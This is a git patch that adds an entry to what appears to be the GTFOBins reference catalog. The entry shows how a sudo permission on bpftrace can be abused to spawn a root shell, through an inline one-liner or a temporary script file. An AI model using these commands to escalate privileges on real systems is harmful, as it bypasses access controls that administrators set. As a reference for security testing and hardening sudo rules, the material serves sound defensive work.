From 6b4c7c12c9711d6836b4dab1897569789a10581a Mon Sep 17 00:00:00 2001
From: Andrea Cardaci <cyrus.and@gmail.com>
Date: Fri, 3 Jan 2020 14:02:32 +0100
Subject: [PATCH] Add bpftrace sudo shell

---
 _gtfobins/bpftrace.md | 9 +++++++++
 1 file changed, 9 insertions(+)
 create mode 100644 _gtfobins/bpftrace.md

diff --git a/_gtfobins/bpftrace.md b/_gtfobins/bpftrace.md
new file mode 100644
index 0000000..96259a1
--- /dev/null
+++ b/_gtfobins/bpftrace.md
@@ -0,0 +1,9 @@
+---
+functions:
+  sudo:
+    - code: sudo bpftrace -e 'BEGIN {system("/bin/sh")}'
+    - code: |
+        TF=$(mktemp)
+        echo 'BEGIN {system("/bin/sh")}' >$TF
+        sudo bpftrace $TF
+---